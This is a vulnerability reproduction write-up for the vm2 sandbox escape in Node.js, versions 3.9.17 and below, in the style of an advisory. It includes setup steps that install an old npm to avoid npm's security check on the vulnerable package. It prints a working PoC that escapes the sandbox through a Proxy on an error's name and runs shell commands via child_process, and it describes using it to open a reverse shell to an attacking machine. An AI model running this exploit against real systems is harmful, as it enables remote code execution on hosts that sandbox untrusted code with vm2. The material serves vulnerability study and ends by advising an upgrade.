0x01 Product Introduction
Node.js
Node.js is an open source, cross-platform JavaScript runtime environment based on the V8 engine, which can run on multiple operating systems, including Windows, macOS, and Linux. Node.js provides a JavaScript environment running on the server side, enabling developers to write concurrent and efficient server-side applications. Node.js uses an event-driven, non-blocking I/O model to support concurrent operations. It supports extending the API through plugins, and installing additional plugins and modules through npm (Node.js package manager). Node.js also provides some built-in modules, such as http, fs, path, etc., so that developers can quickly build network applications and file systems.
Npm
The full name of NPM is Node Package Manager, which is a NodeJS package management and distribution tool, and has become an unofficial standard for releasing Node modules (packages). NPM consists of three parts: website, registry, and command line tools (CLI).
Simply put, Node.js is JavaScript running on the server side, and npm is a package management tool installed along with Node.js, which downloads third-party tools written by others from the npm server through commands and uses them locally.
VM
In Node.js, VM (Virtual Machine) is an engine for interpreting and executing JavaScript code. VM is a sandbox (sandbox), which allows Node.js to restrict its access to system resources when executing scripts, to prevent scripts from executing malicious code or accessing unnecessary system resources.
VM2
Because vm is not safe, it can easily obtain the global object process of the main program, causing sandbox escape, so vm2 is created. Based on vm, vm2 uses the official vm library to build a sandbox environment. Then use JavaScript's Proxy technology to prevent sandbox scripts from escaping.
0x02 Vulnerability Overview
There is a sandbox escape vulnerability in vm2 of version 3.9.17 and below. It abuses the accidental creation of a host object based on the proxy specification and allows a Function to be passed in the host context causing an RCE.
0x03 range of influence
Vm2 <= 3.9.17
0x04 Recurrence environment
Install nodejs on centos7, and then install the affected version [email protected], (After testing, a higher version of nodejs and a lower version of npm are required to trigger the vulnerability)
Note: As we all know, the new version of NodeJS has integrated npm, so you need to install nodejs separately
The purpose of installing a lower version of npm is to avoid the internal audit mechanism of npm (as shown in the figure below, the higher version of npm will forcibly check the security of the vm2 installation package)
Installation process : low version nodejs+low version npm --> use low version npm to install [email protected] --> upgrade to high version nodejs --> reproduce the vulnerability
Proceed as follows:
Install low version nodejs+low version npm
Download the installation package
wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz
install gcc
yum install gcc openssl-devel gcc-c++ compat-gcc-34 compat-gcc-34-c++
Unzip the package
tar -xf node-v0.10.25.tar.gz
Enter the nodejs directory
cd node-v0.10.25
configuration directory
./configure --prefix=/usr/local/node
Compile and install
make && make install
Add soft link
ln -s /usr/local/node/bin/* /usr/sbin/
Verify that the installation was successful
node -v
npm -v
Install [email protected] using low version npm
npm install [email protected]
Upgrade to a higher version nodejs
Download and install nvm
wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash
Configure environment variables
echo "source ~/.nvm/nvm.sh" >> ~/.bashrc
make the environment variable take effect
source ~/.bashrc
view version
nvm list-remote
Install the specified version
nvm install v16.18.1
switch specified version
nvm use v16.18.1
Check node version
node --version
Final reproduction environment:
0x05 Vulnerability Reappearance
PoC
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("执行的命令").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code));
Create a js file and write it to poc, and run it
rebound shell
Write the rebound shell command at the execution command, and the attack aircraft starts monitoring in advance
Execute the js file, the rebound is successful
0x06 Repair suggestion
A new version has been officially released, affected users should upgrade to a safe version as soon as possible
https://github.com/patriksimek/vm2/releases/tag/3.9.18